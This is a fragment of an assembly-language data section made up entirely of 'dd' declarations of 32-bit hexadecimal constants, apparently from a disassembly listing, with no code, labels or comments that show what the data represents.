		dd 57F722D9h, 83D66242h, 0FCB70B75h, 38D381Fh, 45C1362Dh
		dd 10BE5D9Ch, 0FFB1D60Bh, 32140F38h, 60D2C82Eh,	446DB0A9h
		dd 58F08970h, 76422E67h, 0ED4059D5h, 0FB92E054h, 5DE4B237h
		dd 0DDA2CEA4h, 0B47BEEA9h, 488B123Bh, 47CA7C80h, 874CE63Bh
		dd 976F6EDDh, 7AC58736h, 0FD81C48Bh, 91EB4343h,	0CF700AC2h
		dd 4EE06E5Eh, 0D081BDADh, 875C1EE6h, 101E3983h,	2CCBFE8h
		dd 664E73DFh, 2A2C44AAh, 60159749h, 2CBCC07Ah, 3B46155Bh
		dd 3E2CBBBFh, 39D20756h, 95028F36h, 0B7A2775Dh,	62F2DF05h
		dd 2809EC9Bh, 0CC9861EFh, 0C264B4A8h, 0F5E77409h, 0F1E1CC6Eh
		dd 0EDD828A5h, 0FACC3875h, 6D246829h, 7BEDAB1Ch, 0F17CDA57h
		dd 0D6AC014Bh, 7D432242h, 54B4781Eh, 0A20D90DBh, 0ECFBD41h
		dd 0EB4A4B2h, 0CB41CFF4h, 8BB2E92Ah, 0ECF9CBE4h, 92B60223h
		dd 0CCEC1B15h, 117A2A3Bh, 0F0BEAEF6h, 94197E2Dh, 0E0C835CCh
		dd 280F67CDh, 120923C7h, 53B7EB26h, 0BFEB0554h,	41DDB1D5h
		dd 9FD5D5F2h, 0C66E95h,	0E8C0EAC5h, 729DA69h, 0BAA8CA0Dh
		dd 0BFA91887h, 91EC591Ah, 0A4B5F778h, 0F06FA40Dh, 92A80C73h
		dd 0EB42015Ah, 74A189Fh, 0B61EAE40h, 32FBFE44h,	5B154FC8h
		dd 40BEE583h, 12CF4AAEh, 0A1E440B2h, 67B4D1A7h,	14407FF4h
		dd 2A223E88h, 0F4EBAB4Ch, 8323D9B2h, 23B297F8h,	0D9D046ADh
		dd 59752A45h, 3B7BB993h, 0F3F38461h, 222ADFFBh,	1AB7B1CDh
		dd 66E7804Fh, 83BA805h,	6233DCEAh, 0AED9111Bh, 3C803B8Bh
		dd 7D3FAA8Eh, 42D79687h, 0C7B77EEEh, 0A7B5FA65h, 0F1046C98h
		dd 0CEB2F22Dh, 0CD699675h, 51EBCCABh, 823B76E8h, 99B5971Bh
		dd 8CFF76B7h, 55FB0006h, 898B819Ah, 51E5B4C7h, 0E0823FAAh
		dd 8F6A13Ah, 3659EC42h,	494F6370h, 2240824Fh, 0B26412E7h
		dd 0CE6F4891h, 7125789Ch, 4FFB8544h, 2592B681h,	0E405C82Eh
		dd 0DD38A2ECh, 31BAEDDAh, 0EB58D366h, 0DBE0DEABh, 37BE5432h
		dd 6B8291A2h, 0A75C6308h, 7561937Ah, 97159356h,	7277077Dh
		dd 0EE8F369Ch, 0BD744540h, 0CCEA0DEh, 45A33ABCh, 6B6168Bh
		dd 9D21F6B9h, 0ACCC8505h, 59DA3C17h, 61D2DDEAh,	83301F38h
		dd 35DF2052h, 0C7C13858h, 0E4B012EBh, 2919AEB2h, 4B801AD2h
		dd 95F6AF93h, 12DD2C84h, 5EA0DCCCh, 0A10F8EFFh,	58AE4E6Fh
		dd 0BC8435Eh, 61450EA0h, 7867A11h, 10F9C46Dh, 72DD7A99h
		dd 5E0C1EAEh, 859AEDF6h, 53F8A11Eh, 0BE732F37h,	70E25FC6h
		dd 610951F9h, 8E05CB3Fh, 4C6D034Ah, 0BE2DC4E5h,	88A8CB33h
		dd 0C66F2889h, 0F8B5D0EAh, 72B3F246h, 142D9842h, 0E24F1658h
		dd 5B87000Dh, 0EB1A25h,	7CDB872Eh, 0A3A9BEECh, 0A2FF5557h
		dd 0F46B48B5h, 574D4A97h, 0DA7D2400h, 0D3D73F19h, 0CC80A1A4h
		dd 69F9977Ah, 0B2F507C0h, 1CDE96E3h, 0E6203006h, 0B81D2D57h
		dd 0F6D4CE49h, 8380E071h, 0F826D5B6h, 66D76CAEh, 0F65CF0CBh
		dd 6C966580h, 87601F38h, 7CC768CDh, 60164584h, 0F6B16EA7h
		dd 13B3E057h, 518E7E9Eh, 7B2676E7h, 89469663h, 35C699D7h
		dd 0DB596100h, 73A22B45h, 0B5215A0Ch, 1512DA55h, 45730FC8h
		dd 1DF66410h, 1C0BF9F0h, 0B9A09EEBh, 0F4FBCB69h, 3313F8F8h
		dd 0D9185FDBh, 0CECC3C8h, 0FC1877ABh, 1758AC87h, 0A1F09174h
		dd 22B4C3FCh, 266B184h,	0FD561419h, 0B737BEFCh,	0F9F95827h
		dd 24A81E19h, 0CC39F738h, 43CE170Ah, 0F11259B1h, 5DD2DB00h
		dd 0D3B49BEh, 44309A82h, 8292260Ah, 2DD69676h, 6AEF1E9Dh
		dd 0A59538FAh, 12625671h, 2563D5CBh, 6BC9CE7Ch,	0AC647029h
		dd 0C94E5409h, 9DDA84DAh, 0B4184ADh, 0FFD1CB07h, 7D40291Fh
		dd 29F09959h, 4D48B0C1h, 0BCFA710Ah, 0C9F569B1h, 20CF6DAAh
		dd 552DE8A8h, 7CCBA182h, 9C1DE909h, 4CD13F5Fh, 1E2246C0h
		dd 0D198A93h, 0C2A0D76Bh, 0E700B331h, 0D9C3D077h, 9772B31Eh
		dd 88A2BBCh, 9006E40Ah,	0B9BAFF7Ch, 0F4D20995h,	9C14C164h
		dd 7F094B97h, 54735969h, 49257E03h, 583BB50Ah, 0D41F820Eh
		dd 86AF25C3h, 7F3EFE93h, 8E73696Ah, 0A0BCA64Ah,	39E9C5Ah
		dd 3CAFB555h, 0FC2C4614h, 0BA150D08h, 7AA9B6DBh, 7D61D5B9h
		dd 211D11D6h, 0AD0489C8h, 9B606BEFh, 21D7E0D6h,	7C91BB7Ah
		dd 79809F03h, 0A9D340A0h, 7F496264h, 0EBF1786Ch, 0E76D37Eh
		dd 3DFE1575h, 0B7769C12h, 0F2E21BB6h, 1FF96A19h, 0DACB1C30h
		dd 71DF80EEh, 0CC2283AEh, 0A6CA861Ch, 16FE5451h, 44C5D650h
		dd 0B632E9CAh, 4874F8D5h, 0C3D69350h, 0FD9238D4h, 0B0E7588Eh
		dd 0EE5EA224h, 0ED4E4B23h
		dd 0D440AA8Ch, 83C0D7A3h, 4AC29AECh, 518E4C83h,	72BC5482h
		dd 5C4D65D1h, 888824D9h, 0AB6819Fh, 95A7C419h, 4CCC686Ah
		dd 0F9AE1873h, 36965382h, 60EE3667h, 0BCCAE24Bh, 0C7B304AEh
		dd 7DBD404Dh, 5733AE4Dh, 0DE4B2D62h, 64167004h,	7C40C586h
		dd 2DAF9872h, 31D85EEDh, 0AAFE8091h, 0AE861175h, 0EA2C7242h
		dd 7D40A80h, 0F34EEB33h, 0FA5193A9h, 0E70C90BBh, 0E3DA4583h
		dd 84CD9E58h, 0C949C0C7h, 93B7654Dh, 2F4BA587h,	79D8E53Dh
		dd 2AA45DD4h, 6FD12D7Eh, 0D40D63EDh, 0D8D27D55h, 0F56986F8h
		dd 99004609h, 1BB2155Bh, 0C5F8AB0Bh, 0AFA12D76h, 660A035Eh
		dd 94382E5Bh, 0C9432DFFh, 5AF8F218h, 89763E09h,	5BEB95F3h
		dd 8FD896EBh, 0C9A92D79h, 0F50CD26Fh, 20C9E0C8h, 3C2CBD7Fh
		dd 3124E59Ah, 7CDFEF0Eh, 6A992054h, 0B9C4157Bh,	891897BBh
		dd 650728D7h, 0EA03CC12h, 0D9508D5Ah, 71F9C692h, 63E57A69h
		dd 35B951CFh, 57182317h, 8F38F468h, 0CF652CBh, 16DBE835h
		dd 73CC6949h, 41ED570Ah, 3FF41E07h, 2FB3F490h, 0C2156873h
		dd 72569B3Dh, 0E0EBF2EEh, 0F0737140h, 1B9B0148h, 0B8788D90h
		dd 61D8FA3Bh, 937AB75Ah, 985C9741h, 0F3F63982h,	81D9E659h
		dd 0D87B4BEAh, 538DABAEh, 73F0EE1h, 55861CEh, 0D3711563h
		dd 7F98AE3Ah, 3275C0E6h, 0DD78B6CBh, 0DBF4202Bh, 71D2BAF3h
		dd 1D3917Ah, 5D6F8FB7h,	0A6618C51h, 0AD8F7B00h,	2AD65B9Ch
		dd 0E3B58216h, 55651C9Fh, 2DA993Fh, 18219153h, 0D610C150h
		dd 97D06452h, 47A88E72h, 0C3E6873Dh, 25428E1Bh,	4540AFDDh
		dd 0BF18E428h, 36258468h, 98C8D336h, 2860A8BEh,	98EED8EBh
		dd 6190C33Bh, 0B38ED2DDh, 0A65837B0h, 284907E8h, 296140C9h
		dd 0B7CF4E62h, 2BE10494h, 2F876FDAh, 372B8A4Eh,	8D68535h
		dd 0DE5D550Dh, 6C523132h, 71D553BAh, 0C91190C0h, 130F3063h
		dd 92BC41CFh, 0B678F43Dh, 1495075Fh, 4EEB14F6h,	4F7E2308h
		dd 9158191h, 1889D4B8h,	0E311D3FEh, 7EF4D7ADh, 86532690h
		dd 1B49ABC9h, 5CAF125Ch, 0BD3BBBFFh, 0B81EF146h, 318AA202h
		dd 3A7A211Eh, 32DC23C1h, 4E3E3935h, 490B0643h, 0FBAEBA80h
		dd 70DCE397h, 0C489B3E6h, 0D6849274h, 33B7932Fh, 69B6AA4Fh
		dd 0F1B3E938h, 0D2504D64h, 0FD69666Ch, 0D5472F1Fh, 8015E15h
		dd 3F395CDCh, 6CE66014h, 0A7EE1B62h, 4FB1F2AAh,	4796CFFCh
		dd 0B1F62631h, 0F0D585DCh, 2B91E930h, 5D420D31h, 9069AC43h
		dd 88356A9Ah, 0EFE60031h, 0DCD32354h, 9C912219h, 833DEDBDh
		dd 0CD17793Fh, 5684C298h, 17D28493h, 57A3B18Bh,	3D095615h
		dd 65E82FEFh, 0C0B09523h, 8CCDB78Bh, 0AAAF8E6h,	23EF3D7Fh
		dd 503E0227h, 0DCC2FEDEh, 0FAF42D12h, 9AF02784h, 1E43098h
		dd 7D4696Dh, 315EB0C4h,	0DD84C274h, 7283BD63h, 0EFCA334Eh
		dd 0B5B0EC26h, 106FE2C6h, 968A419Ch, 34C47507h,	25B08CD2h
		dd 0FDBCF737h, 3157F3D4h, 5FF0A7A2h, 0FCB82CD3h, 557331B7h
		dd 0B54EDF5Eh, 0E8BF4F86h, 0E1B90254h, 9B2B8511h, 0C1729328h
		dd 7593160h, 522228Dh, 0EE585825h, 64571442h, 8DE96128h
		dd 685C3AF0h, 758BAF7Dh, 9D537ECFh, 0EF62A554h,	0D2C74830h
		dd 0A1BE11AFh, 0F725835h, 83E219DBh, 0CEAD1723h, 0D4342AA9h
		dd 58E30105h, 2C1BCF08h, 0DE403483h, 0D9A79B54h, 745A50DFh
		dd 0A287E80Dh, 8211536Bh, 52F0AA64h, 517D671Eh,	3D71706Ah
		dd 0B21B10D3h, 6A730CF2h, 0C8F61DEAh, 7211F4C8h, 12AC03D0h
		dd 71B4FBBBh, 0D58C822Bh, 0EA96840Ah, 9F246226h, 0B3680DF7h
		dd 0E002D978h, 770D6BF6h, 0F09274Dh, 0B37DC892h, 86BE90C8h
		dd 0A7418BE5h, 0DBCA5585h, 27F785BBh, 0A24BED0Ch, 0F9784B20h
		dd 81146295h, 50C67A1Dh, 783309B4h, 38A663C4h, 0F157408Fh
		dd 0C68938D8h, 45E8A75Dh, 0E2949CD0h, 25F42949h, 61F93371h
		dd 0D22EE7AFh, 61C0D116h, 0DB4F4C8Fh, 7059EAC0h, 1BC55CB1h
		dd 221E6A28h, 75B6A9BAh, 3A1E16D9h, 0CC0BD55Ah,	34548B50h
		dd 0BDDC86DFh, 69860731h, 58FC922Dh, 596974F8h,	2CC4D758h
		dd 0C585A9EAh, 196DB99Bh, 0CC8CCF75h, 0DE118A0Ah, 0EFA1004Ch
		dd 0D58AB815h, 1A1C0E20h, 0D807B7EEh, 0FDA5F911h, 0ED067333h
		dd 3AFBA2E4h, 0F2A562B8h, 62FF8A7Ch, 0DBBD05B3h, 0F90F22B2h
		dd 0FC73D2B7h, 0F175D7Ah, 630DB1F5h, 9E16645Ch,	7B5807ADh
		dd 0DEEE92Ch, 1702F473h, 95AC9DDh, 0FD6EA853h, 0B13B5A06h
		dd 833A9F37h, 0BFE8F876h, 6E2F4806h, 0D82AAE7Bh, 5625F663h
		dd 842E1568h, 32CDE50Ch, 9250D448h, 5D5405AFh, 0E0D5656Ch
		dd 94E048CEh, 568AA13Ch, 760323C7h, 10FA4974h, 0B62CC6DAh
		dd 0C37E5746h, 0AFF30817h, 0BC5AE748h, 0CB2900AAh, 28719A62h
		dd 0AA0C8833h, 0D5C62B0Fh, 8279C599h, 0AC111B42h, 594DBE68h
		dd 7788B9E8h, 0D081FC87h, 0AB5F37E3h, 163C974h,	1ED0E925h
		dd 0DEC7AEA9h, 0F76A2BF7h, 10774CB8h, 752E5A20h, 968CC56Dh
		dd 0DFA33E41h, 53FDB322h, 8FB5A3B3h, 1567261Ch,	60E349C0h
		dd 33536BD8h, 4602FF1h,	0FC8088F7h, 42EE4240h, 0CC0153C0h
		dd 32BDE12Bh, 0BBB796F9h, 0E07012D9h, 0AA7D9444h, 5EBBD9FFh
		dd 0A30ACC01h, 0A894AAE0h, 526C681Fh, 0FC2BA2D9h, 2902BC04h
		dd 0B49BFA4Fh, 18FE7E3Eh, 0E0F131ABh, 0B4E86494h, 7CFBB88Bh
		dd 5940B9D1h, 8744B78Fh, 3BA19C7Eh, 475D764Bh, 7F79086Fh
		dd 0E64E012Ch, 2CF94F81h, 2AFA6363h, 0FA321CE6h, 6FFB4E54h
		dd 7743982h, 0A6AF6CC7h, 93C54D9Ch, 46C4C6D8h, 0CE1373Ch
		dd 23F82162h, 6E778EE0h, 0D9EC4265h, 99B64628h,	60CEDCF1h
		dd 0D4A3B64Eh, 0F0ABDBB4h, 0BA606489h, 384CC2C2h, 0F7FE02Ah
		dd 0DC05B34h, 132444F3h, 6DC6B7F9h, 0DC144377h,	0FCF2039Ah
		dd 0D3A5574Ch, 79EC791Fh, 0C18A3047h, 9F98A192h, 0E8224930h
		dd 526DAE23h, 0E24620D0h, 0BCAA285Dh, 32F073F3h, 5E0B2579h
		dd 1BBE22B2h, 466E10F9h, 0ED0690F8h, 0F4A22949h, 0F535F87Dh
		dd 6720E07Bh, 439E951h,	701A4FD8h, 8A508EC8h, 0C85D7F4Eh
		dd 2FFBCFACh, 94593476h, 86058315h, 0FF73A0C9h,	77C7D226h
		dd 13D91AF4h, 0BC665E0Ah, 0B3195CC2h, 0E773D28Fh, 0D23CA393h
		dd 51C1A61Bh, 6A0BABD6h, 4DA89EB5h, 0B9CB0EB7h,	0E90920CEh
		dd 22E44E72h, 0C825D303h, 0C6813CAEh, 0FC388BDCh, 2ADB6D2Dh
		dd 246AF615h, 72A942Dh,	0D2A5AC05h, 0F1697E98h,	62A6D95Ch
		dd 14A26D7h, 76666AA3h,	0AA0E2AEDh, 97666122h, 8B2FF232h
		dd 6892B424h, 0CA1BF9A5h, 12D0AD31h, 0C18FE76h,	2D5E8CDh
		dd 2419D2E2h, 2CE2CE31h, 5BE6FE66h, 5BF7FC52h, 86475B41h
		dd 51E67248h, 4A11129Ah, 6188590h, 0E038504Ah, 0AF8246A4h
		dd 0AD206F52h, 0E1A9C757h, 9F71E9ADh, 11ED4CE3h, 0BB039F99h
		dd 0F4626D6Bh, 5472DFB5h, 6A8F028h, 86A280F3h, 0AF6A3BE1h
		dd 0FF79D92Ch, 4C72FE35h, 0C60DD577h, 135257BAh, 56CE747Eh
		dd 0E4FDBCA3h, 5E528C6Ah, 0F2E684F8h, 0BABC2BDh, 5FB8EE53h
		dd 25558BFDh, 0BC84C739h, 3F728A5Bh, 0D081162Dh, 343FE01Ch
		dd 0EE2E5529h, 3151BABAh, 1B289F0Ah, 0EE1782C8h, 0C16DA77h
		dd 69767F02h, 4213D668h, 0B2BB524Ch, 0ECEAC049h, 0A6D6F583h
		dd 475EA16Eh, 20AA5ADFh, 0D472C64Bh, 18DD640h, 0F39A2697h
		dd 5DE17CBFh, 0F10F9829h, 0CA2F6890h, 74BCACD2h, 28C3A01Ah
		dd 0C6090B91h, 0C5AC0BBFh, 5F564F76h, 1D9217F3h, 0AA53C22Ah
		dd 82E0820Eh, 2BBCED83h
		dd 22BA47E1h, 0F4B87CCFh, 39DDAA76h, 0D0EA6679h, 431B2E09h
		dd 2CEF027Ah, 0CAEAE71Bh, 2A980F53h, 2B0DCCCDh,	61DE0083h
		dd 0DE9E46A5h, 2EE71E69h, 26FA171Eh, 764DA385h,	8B4F8E40h
		dd 89CD7CE3h, 8C3C8D59h, 21C2C2AEh, 0C43CC923h,	0F5E9003Dh
		dd 3615F3F8h, 0C8C49C3Dh, 5DD5C778h, 0F7576337h, 0B017744Bh
		dd 224409B4h, 0E81AAEC1h, 0D65F7C8Eh, 0E960767Dh, 4C0F9EEDh
		dd 3019F866h, 0DAE9B53Ch, 98DE3340h, 0BA1D54Fh,	0E0ACB78Bh
		dd 0D6234CC4h, 0CB9E47BAh, 94863AB1h, 0C7261F1Fh, 7E87BB28h
		dd 0D0A96C45h, 67D0A8F8h, 9F0390B3h, 0D679D0DAh, 0A32EF113h
		dd 45CD6F12h, 1332E6F2h, 0F715AFh, 0E9D9DA96h, 0C4A8E0E2h
		dd 57170FAAh, 0EDDE90DCh, 7150D863h, 6C42C9CDh,	14867F94h
		dd 3447954Bh, 75FF92Ch,	141987F2h, 2D116B95h, 94965463h
		dd 0F43D7B4h, 693EB1A0h, 1F83E3EAh, 0B1F2CDAEh,	845681DCh
		dd 5B5A2A0h, 0C564AB4Bh, 0C4B53B2Ch, 198A3642h,	15F77309h
		dd 0CEF4B04Fh, 588EAA95h, 0F6AD269Ch, 38529382h, 0AC1A96CBh
		dd 161ED94h, 0D3F985A7h, 2E200C12h, 368CDB95h, 0F7A7446Eh
		dd 0AE8D5F73h, 4508AE25h, 5244DE0Fh, 785954DAh,	0B2B6965Fh
		dd 707D88Dh, 144D6E0h, 36928572h, 43CD3DA6h, 2257B91Fh
		dd 15CDF94Dh, 0A6B4C658h, 783676DCh, 0FAF01D1Dh, 9531DEEEh
		dd 3C2A1FB0h, 7773BDA4h, 0DEB4A239h, 0A9A94D71h, 83935324h
		dd 1FC9931Fh, 178412EEh, 0F7D7AFEBh, 0A75976B2h, 0E7020125h
		dd 1161A5C6h, 0E55CBFE8h, 5FDA81C0h, 0E562BC18h, 172F2C76h
		dd 6C04EDBFh, 3CDC537Ch, 0CF7F188Fh, 1EC1E519h,	0BCAC3E31h
		dd 0B0037EC4h, 77B87B8Ah, 956713EBh, 0A5A9193Bh, 314FB4F3h
		dd 4D754AE5h, 3C66FE77h, 8D1F7112h, 34E9DA00h, 38FE7F47h
		dd 96C805D8h, 0C80E3FAEh, 671DBD24h, 0A0E9A439h, 0F5EAFE90h
		dd 0F74C5286h, 537E9EC5h, 5C77878Eh, 0C6000E9Bh, 3F227EDBh
		dd 0E198BD43h, 0AB86ED4Ah, 0CC83808h, 0F5A0BD43h, 114EAF81h
		dd 829BA8CFh, 7F6B3DECh, 0B05F932Bh, 88C8D3Dh, 0D8243F8Dh
		dd 0F2CC2468h, 0A6B31E8Ah, 5A53987Bh, 0DE660789h, 95B4E21Ah
		dd 115BEC8Bh, 0EE38DEF1h, 2BAFBD6h, 8345626Bh, 211BF8E1h
		dd 0ED084517h, 6EA43230h, 7A5C5BFCh, 0F01F8833h, 0FEAE8C72h
		dd 17B448DBh, 14D80F28h, 5F15A050h, 82CAA7DEh, 57DBF19Ah
		dd 0DB0AB900h, 80B992E0h, 0D991FB73h, 0C8DC7B4Bh, 0BE9F8930h
		dd 11A9276Fh, 0D6700085h, 8C9B7902h, 3A1861B5h,	695DF4A7h
		dd 0F2C76BBEh, 20129EB1h, 5AC6A401h, 4F2C26E2h,	0A31AD39Ch
		dd 0A709AFF2h, 41DA72E1h, 9497B25Ch, 8A34E07h, 0E5A21737h
		dd 0F09027FEh, 838C0012h, 3128AA1Fh, 0A407A869h, 21D72606h
		dd 6FC8AD95h, 8452972Eh, 0E95F17ECh, 95E854C1h,	95D63077h
		dd 82E83E1Ch, 4C4989h, 305973Ah, 0C46B4548h, 91F20761h
		dd 6D115F11h, 66A6B527h, 0AA173665h, 0DA94CCDCh, 4A7EE96Ah
		dd 0EE038660h, 846A5663h, 0DD788F56h, 0EAB6EDAEh, 0F15D65A0h
		dd 0FD3B5563h, 4AC1E6EAh, 0AB281608h, 0DF227EF9h, 7AA35029h
		dd 0CF8E85FFh, 3FB7BBB7h, 1B365E39h, 0E657C445h, 5FB9F634h
		dd 0C202B3B6h, 0F254705Eh, 0FA0D6D55h, 6FC3BB47h, 77C01C5Eh
		dd 0FD5DB4E2h, 2FDA00Eh, 87C9454Fh, 5C03974Dh, 9DB221C8h
		dd 955F5828h, 0AB36E767h, 0E1326F5Ch, 71D2514Bh, 0A759F3ABh
		dd 9B506F3h, 4FD6D934h,	0DF9BF442h, 0A0841FCCh,	0CE5F935Fh
		dd 0B6509ADAh, 91DB83E3h, 0FA4A2CF2h, 9BADEC7Eh, 7AC98093h
		dd 0FB859E9Fh, 132A3774h, 3C4E156Dh, 9E0F7774h,	5F34DD03h
		dd 0EB5E6278h, 0B5D93E84h, 0D0B2490h, 0DDF42C0Ch, 1E64A07h
		dd 76D27D4Eh, 0A4AC888Fh, 0C7F43F21h, 0DE3A72F6h, 99CB6AF3h
		dd 1E108F17h, 0BF3E0CE3h, 0B34AFA60h, 0A0E875B2h, 0FBDFE05Dh
		dd 59613DB7h, 64F8A284h, 0EA97EA7Ch, 94AC7F8h, 70CA07EFh
		dd 0A47089A1h, 0C85CF51h, 3DC4E348h, 16273849h,	0E7D32C81h
		dd 54BD7928h, 0C0C4AB89h, 0DD83BBB1h, 0D0F2A89Ch, 0A2AC362Ch
		dd 481E5706h, 0BE74F488h, 0AB225B2Bh, 99ADFA8Bh, 8288D9A5h
		dd 0D8C22E32h, 0AE8C40F6h, 0A6693CFDh, 9F80A69Bh, 15117819h
		dd 388B0127h, 0B78A536Fh, 0DBA1D98Eh, 2498CEEBh, 0D1D3CDE2h
		dd 0CA25225h, 8325E5A7h, 0A916B309h, 0A86BA5CCh, 3205D429h
		dd 935EFD6Fh, 67A6A592h, 4B42EA98h, 512F3C80h, 73A7DEBh
		dd 792958Dh, 8F20C3AEh,	0AB5792D2h, 0AC70E932h,	7F9838B3h
		dd 0F874C004h, 0EAEB7AB2h, 0B36CFAFDh, 0A226EFA4h, 0CB289D16h
		dd 32BD1868h, 0C5AA6A64h, 0BC066408h, 65026196h, 0AC4363A1h
		dd 5CF60632h, 4DE6FAA1h, 9842A22Dh, 9CEB3BE5h, 13A23E22h
		dd 0B821BAD2h, 0FA238678h, 0D14C37BBh, 3D643EC4h, 7D9A1965h
		dd 53D44F47h, 0DEC32973h, 0C8AA3EB7h, 55FD1D64h, 6594FE80h
		dd 4251CD6h, 92A850C2h,	1049AE92h, 9839C826h, 9DC81AD6h
		dd 0FC6CA087h, 9686435Dh, 608066A7h, 330E366h, 0D8893635h
		dd 10F45831h, 0B94EBDE1h, 2B4B9D30h, 7552332Dh,	532E31FAh
		dd 52FCCEBCh, 0C8119720h, 796AE8F4h, 0A5E8EB3Bh, 0F1A01E23h
		dd 9A89B3AAh, 0C2537E4Bh, 6B1CE9EEh, 73FFF353h,	0B6970958h
		dd 0B0F5C46Fh, 7DEC4EECh, 7D6EB937h, 0EBE950C1h, 3323B000h
		dd 5125500Ch, 0E6279141h, 0A0DA62BDh, 3E924D52h, 47B1B7D6h
		dd 4A0FA3CBh, 725BF31Ch, 8DE3146Eh, 510D0E50h, 0AC00A832h
		dd 98DA20h, 0F8ED9249h,	0D59F2186h, 0EA4E8D33h,	1C5D9CF0h
		dd 777FACA2h, 5ED2E5D0h, 28CAB5D0h, 4FD990C6h, 18F1DB81h
		dd 9D1D79DAh, 24F8169Eh, 8A0F86AAh, 0A3B2D912h,	26D9937Ch
		dd 0FB996087h, 0EF39AB2h, 0B36C1C93h, 219FD385h, 5770E8AAh
		dd 846BD4A0h, 6980C69Dh, 0E79E30FEh, 0CBF0FE49h, 158753D0h
		dd 0E3EA28F8h, 2B565CC5h, 8EAB41EDh, 29B39A3Fh,	0D4A012DCh
		dd 14BBCA72h, 3EDD974h,	0AAED5849h, 99F3F960h, 0CC88BAB4h
		dd 0A2960A9Eh, 7EC67C40h, 9B7CC0B5h, 9F736F70h,	0AD9D6CEAh
		dd 2E4B0FB0h, 2EBDC5B3h, 8411B2ABh, 7A6F57FBh, 47FD0C79h
		dd 0BAB5A629h, 60613521h, 40A8B0D4h, 0B8470F1Bh, 0AB3EEC33h
		dd 17207E7Dh, 0E4761BBAh, 4ED6648Ch, 0D2E8CFB1h, 595FC183h
		dd 0BB810C8h, 63DD5ACBh, 3945FE7Dh, 0C80BD79Eh,	359AA59Ch
		dd 0C4023409h, 6216F1C6h, 1BAF1531h, 93F7F460h,	14E7A89Dh
		dd 0C2837C30h, 13597E54h, 856AA045h, 11E4C40Eh,	0ACA226Ch
		dd 2F63FB09h, 18B9BD0Fh, 7230E00h, 79C35CFEh, 9AA8365Eh
		dd 0C422B4C0h, 4B9D798Dh, 71D864A7h, 8CDEEEB4h,	49E3B55Fh
		dd 28658B70h, 0E18F2E18h, 801FAF9h, 0DF4ABB20h,	5E62D8FCh
		dd 21527D99h, 201923EAh, 22E54FFBh, 6A1F7A7Eh, 2EA8A387h
		dd 0BA224DDCh, 725DF5C8h, 0F212C1B2h, 9C737286h, 0BDF4F409h
		dd 173A8E1Eh, 0D2C699BEh, 3AB2F4A2h, 148AD752h,	33790E90h
		dd 47B22F05h, 8F496454h, 292FDB47h, 2A7D5F6Eh, 8DA43FE2h
		dd 1EF89822h, 91311E79h, 0D745355Bh, 0A88BE8FCh, 97093C9Ch
		dd 36D684E5h, 76273D0Ch, 0C74255C2h, 5B0428F4h,	0BEA2A2F7h
		dd 2B707E48h, 81BA56h, 0E4522D7Eh, 0A82904A3h, 32FF1AE3h
		dd 4C07C80Fh, 230F4319h, 0EDF64B3Eh, 85948676h,	0F06C7505h
		dd 3C73DE1Ah, 1D695900h, 0B8E3E354h, 2485AB6Ah,	6F4D7939h
		dd 2EDFF86Fh, 9A414803h, 18D5778Dh, 5D3809BFh, 9DE127FAh
		dd 0D1819FE8h, 8BCD498h
		dd 4AAC99D5h, 2089065Fh, 91C229E6h, 0DC6EC14Bh,	0A54B4874h
		dd 238B996Dh, 5172ED4Eh, 7DE08C5Ah, 50C0CDFBh, 0CB74D492h
		dd 0B374F9B1h, 38C9D949h, 0AF2EA17Bh, 0D63F0DA7h, 0C8CBD7A3h
		dd 0A1AB3736h, 0B424871Ch, 6EDBF4B0h, 7A6C2B0h,	5333A044h
		dd 1067934Bh, 6DCAE8FCh, 5CF738B0h, 1D7DFE97h, 0CEB685ABh
		dd 0EA20762Ah, 147BA8EEh, 0C7851A92h, 0D771D167h, 0D17AE81Ah
		dd 3A097EB1h, 3F89A3F0h, 0D127AA6h, 8B20C3FEh, 7452E3F0h
		dd 46C00FF2h, 32596A08h, 345AB441h, 97C1AAB0h, 0EE53803h
		dd 0F35F1CFBh, 6138362Fh, 0CED65B30h, 0FC482D9Dh, 0ADF31D79h
		dd 5E16799h, 0A3B4FD74h, 17152D5Fh, 0A7FC787h, 0EF1BCAD6h
		dd 0C7DF9F22h, 31C6869Fh, 766939AEh, 39C23403h,	0F5C447A0h
		dd 1B060451h, 6124E08Eh, 0FB54F96h, 8815408Eh, 49FA33A4h
		dd 463F3AAAh, 2618E7C4h, 95ED1683h, 0FDBFD9BCh,	9D4F24EFh
		dd 2B636D50h, 0AB5B6084h, 3818045h, 0FC4E303h, 50DCB4A6h
		dd 915682ACh, 900A14C1h, 0CAEFFF6Ah, 0FEE5F20Bh, 0BB3F8722h
		dd 9D77E8B2h, 0DA224EC3h, 62D705A0h, 0A3CCF8C4h, 44BD960Bh
		dd 2E6D877Eh, 2B98A6Ch,	836997A0h, 0E10293F6h, 7E4FCECDh
		dd 763180Eh, 27B6FB13h,	6BC9521Bh, 218A1994h, 6FCCE841h
		dd 0A50A3C6Dh, 9F4520F9h, 42CE1AE8h, 0B74BAA7h,	3EEEE0A4h
		dd 5CB7FF2Ah, 0AF28784Ah, 623A0894h, 9C0EE36h, 6B0D3AE3h
		dd 0F562932Ah, 9D9B03EAh, 646F7058h, 5AC9BC2Fh,	4CC370F1h
		dd 35A3992Eh, 0C54F8736h, 701684F1h, 9F93533Ch,	2905049Dh
		dd 5D6944A0h, 0B8DAB82Ch, 76151034h, 56ABA024h,	0D2200AF6h
		dd 5BCF6640h, 651902E5h, 0D445AE2Dh, 8F87CAC3h,	0A274A33Ah
		dd 5CFA1993h, 0D2203901h, 47B6DD0Dh, 23D7A131h,	0B8FDE201h
		dd 0EB49E3D7h, 3B882C7Eh, 0D789D211h, 0E0088B3Ch, 0D446203Bh
		dd 0E5473A4h, 31FCEDB2h, 51744748h, 14E638CEh, 225BE21Bh
		dd 75467D9Ch, 0E1BD03CFh, 9038C24Ah, 0CD853183h, 106CA381h
		dd 0DB49D8C4h, 45EBFF3h, 9F4D9626h, 7B24E05h, 660296D3h
		dd 0C9611B8Fh, 0FAEEBA3Eh, 63C734CDh, 1D01BB03h, 5331BABEh
		dd 99EB4930h, 0DABD0FA7h, 91EFC677h, 0A170D0E2h, 0B3A4D514h
		dd 0B76500CEh, 76412DF1h, 225040F0h, 0EAC6DC81h, 0EC4AF3B9h
		dd 0EF1D938Eh, 7A4A3D39h, 0F10E4858h, 0CDEF8A5h, 1D8F07BBh
		dd 61C7DEE3h, 160996FFh, 91C638D2h, 0C88FE1CEh,	0BFA939F2h
		dd 5CCFA638h, 10709A4h,	28F69ED7h, 4A577E8Eh, 9350CF2h
		dd 0E98C270h, 0A21CC968h, 6DD79C7h, 0D88F319Fh,	7D1E9DFDh
